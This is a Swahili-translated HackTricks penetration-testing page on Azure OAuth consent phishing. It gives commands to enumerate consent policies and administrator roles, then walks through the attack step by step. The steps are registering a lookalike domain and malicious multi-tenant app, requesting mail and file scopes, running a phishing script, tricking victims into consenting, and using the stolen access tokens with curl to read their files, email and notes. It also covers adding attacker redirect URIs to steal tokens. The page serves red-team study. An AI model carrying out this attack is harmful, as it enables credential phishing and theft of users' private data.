Az - OAuth Apps Phishing
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
OAuth App Phishing
Azure Applications zimewekwa na ruhusa ambazo zitakuwa na uwezo wa kutumia wakati mtumiaji anapokubali programu (kama kuhesabu saraka, kufikia faili, au kufanya vitendo vingine). Kumbuka, kwamba programu itakuwa ikifanya kwa niaba ya mtumiaji, hivyo hata kama programu inaweza kuwa inahitaji ruhusa za usimamizi, ikiwa mtumiaji anayekubali hana ruhusa hiyo, programu haitaweza kufanya vitendo vya usimamizi.
Ruhusa za kukubali programu
Kwa kawaida, mtumiaji yeyote anaweza kutoa ruhusa kwa programu, ingawa hii inaweza kuwekwa ili watumiaji waweze kukubali tu programu kutoka kwa wachapishaji waliothibitishwa kwa ruhusa zilizochaguliwa au hata kuondoa ruhusa kwa watumiaji kukubali programu.

Ikiwa watumiaji hawawezi kukubali, wasimamizi kama GA
, Application Administrator
au Cloud Application
Administrator
wanaweza kukubali programu ambazo watumiaji wataweza kutumia.
Zaidi ya hayo, ikiwa watumiaji wanaweza kukubali tu programu zinazotumia ruhusa za hatari ndogo, ruhusa hizi kwa kawaida ni openid, profile, email, User.Read na offline_access, ingawa inawezekana kuongeza zaidi kwenye orodha hii.
Na ikiwa wanaweza kukubali programu zote, wanaweza kukubali programu zote.
Aina 2 za mashambulizi
- Hawajaidhinishwa: Kutoka kwa akaunti ya nje, tengeneza programu yenye ruhusa za hatari ndogo
User.Read
naUser.ReadBasic.All
kwa mfano, phish mtumiaji, na utaweza kufikia taarifa za saraka. - Hii inahitaji mtumiaji aliyephished kuwa na uwezo wa kukubali programu za OAuth kutoka kwa mpangilio wa nje
- Ikiwa mtumiaji aliyephished ni msimamizi ambaye anaweza kukubali programu yoyote yenye ruhusa yoyote, programu hiyo inaweza pia kuomba ruhusa za kipaumbele
- Iliyothibitishwa: Baada ya kuathiri mtu mwenye ruhusa za kutosha, tengeneza programu ndani ya akaunti na phish mtumiaji aliye na ruhusa ambaye anaweza kukubali ruhusa za kipaumbele za OAuth.
- Katika kesi hii tayari unaweza kufikia taarifa za saraka, hivyo ruhusa
User.ReadBasic.All
si ya kuvutia tena. - Huenda unavutiwa na ruhusa zinazohitaji msimamizi kuzipatia, kwa sababu mtumiaji wa kawaida hawezi kutoa ruhusa yoyote kwa programu za OAuth, ndiyo maana unahitaji kuphish tu watumiaji hao (zaidi kuhusu ni nafasi/ruhusa zipi zinatoa kipaumbele hiki baadaye)
Watumiaji wanaruhusiwa kukubali
Kumbuka kwamba unahitaji kutekeleza amri hii kutoka kwa mtumiaji ndani ya mpangilio, huwezi kupata usanidi huu wa mpangilio kutoka kwa wa nje. CLI ifuatayo inaweza kusaidia kuelewa ruhusa za watumiaji:
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
- Watumiaji wanaweza kukubali programu zote: Ikiwa ndani ya
permissionGrantPoliciesAssigned
unaweza kupata:ManagePermissionGrantsForSelf.microsoft-user-default-legacy
basi watumiaji wanaweza kukubali kila programu. - Watumiaji wanaweza kukubali programu kutoka kwa wachapishaji waliothibitishwa au shirika lako, lakini tu kwa ruhusa unazochagua: Ikiwa ndani ya
permissionGrantPoliciesAssigned
unaweza kupata:ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team
basi watumiaji wanaweza kukubali kila programu. - Zima kukubali kwa mtumiaji: Ikiwa ndani ya
permissionGrantPoliciesAssigned
unaweza tu kupata:ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat
naManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team
basi watumiaji hawawezi kukubali chochote.
Inawezekana kupata maana ya kila sera iliyokomentiwa katika:
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
Wasimamizi wa Maombi
Angalia watumiaji wanaoonekana kama wasimamizi wa maombi (wanaweza kukubali maombi mapya):
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
Muonekano wa Shambulio
Shambulio lina hatua kadhaa zinazolenga kampuni ya kawaida. Hapa kuna jinsi linavyoweza kuendelea:
- Usajili wa Kikoa na Kuweka Programu: Mshambuliaji anasajili kikoa kinachofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya kikoa hiki, subdomain inaundwa (mfano, "companyname.safedomainlogin.com") ili kuweka programu iliyoundwa kukamata nambari za idhini na kuomba alama za ufikiaji.
- Usajili wa Programu katika Azure AD: Mshambuliaji kisha anasajili Programu ya Multi-Tenant katika Azure AD Tenant yao, akiiita kwa jina la kampuni lengwa ili ionekane halali. Wanatengeneza URL ya Redirect ya programu hiyo kuelekea subdomain inayohifadhi programu mbaya.
- Kuweka Ruhusa: Mshambuliaji anapanga programu hiyo na ruhusa mbalimbali za API (mfano,
Mail.Read
,Notes.Read.All
,Files.ReadWrite.All
,User.ReadBasic.All
,User.Read
). Ruhusa hizi, mara zinapopewa na mtumiaji, zinamruhusu mshambuliaji kutoa taarifa nyeti kwa niaba ya mtumiaji. - Kusambaza Viungo Mbaya: Mshambuliaji anaunda kiungo kinachokuwa na kitambulisho cha mteja wa programu mbaya na kukishiriki na watumiaji walengwa, akiwadanganya kutoa idhini.
Mfano wa Shambulio
- Sajili programu mpya. Inaweza kuwa tu kwa saraka ya sasa ikiwa unatumia mtumiaji kutoka saraka iliyoathiriwa au kwa saraka yoyote ikiwa hii ni shambulio la nje (kama katika picha ifuatayo).
- Pia weka redirect URI kwa URL inayotarajiwa ambapo unataka kupokea nambari za kupata alama (
http://localhost:8000/callback
kwa default).
.png)
- Kisha tengeneza siri ya programu:
.png)
- Chagua ruhusa za API (mfano,
Mail.Read
,Notes.Read.All
,Files.ReadWrite.All
,User.ReadBasic.All
,User.Read
)
.png)
- Tekeleza ukurasa wa wavuti (azure_oauth_phishing_example) unaoomba ruhusa:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
- Tuma URL kwa mwathirika
- Katika kesi hii
http://localhost:8000
- Waathirika wanahitaji kukubali ombi:
.png)
- Tumia token ya ufikiaji kupata ruhusa zilizotakiwa:
export ACCESS_TOKEN=<ACCESS_TOKEN>
# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
Other Tools
- 365-Stealer: Angalia https://www.alteredsecurity.com/post/introduction-to-365-stealer kujifunza jinsi ya kuikamilisha.
- O365-Attack-Toolkit
Post-Exploitation
Phishing Post-Exploitation
Kulingana na ruhusa zilizohitajika unaweza kuwa na uwezo wa kufikia data tofauti za mpangaji (orodha ya watumiaji, vikundi... au hata kubadilisha mipangilio) na taarifa za mtumiaji (faili, maelezo, barua pepe...). Kisha, unaweza kutumia ruhusa hizi kufanya vitendo hivyo.
Entra ID Applications Admin
Ikiwa umeweza kuathiri kwa namna fulani Entra ID principal ambayo inaweza kusimamia Maombi katika Entra ID, na kuna maombi yanayotumiwa na watumiaji wa mpangaji. Msimamizi angeweza kubadilisha ruhusa ambazo programu inazihitaji na kuongeza anwani mpya ya kuruhusiwa ya kuelekeza ili kuiba tokeni.
- Kumbuka kwamba inawezekana kuongeza URIs za kuelekeza (hakuna haja ya kufuta ile halisi) na kisha kutuma kiungo cha HTTP kwa kutumia URI ya kuelekeza ya mshambuliaji ili wakati mtumiaji anafuata kiungo hicho uthibitishaji ufanyike kiotomatiki na mshambuliaji apokee tokeni.
- Pia inawezekana kubadilisha ruhusa ambazo programu inazihitaji ili kupata ruhusa zaidi kutoka kwa watumiaji, lakini katika kesi hiyo mtumiaji atahitaji kukubali tena kichocheo (hata kama alikuwa tayari ameingia).
- Kufanya shambulio hili mshambuliaji HAHITAJI kudhibiti msimbo wa programu kwani anaweza tu kutuma kiungo cha kuingia katika programu kwa mtumiaji na URL mpya katika
redirect_uri
parameter.
Application Post Exploitation
Angalia sehemu za Maombi na Msingi wa Huduma wa ukurasa:
References
- https://www.alteredsecurity.com/post/introduction-to-365-stealer
- https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.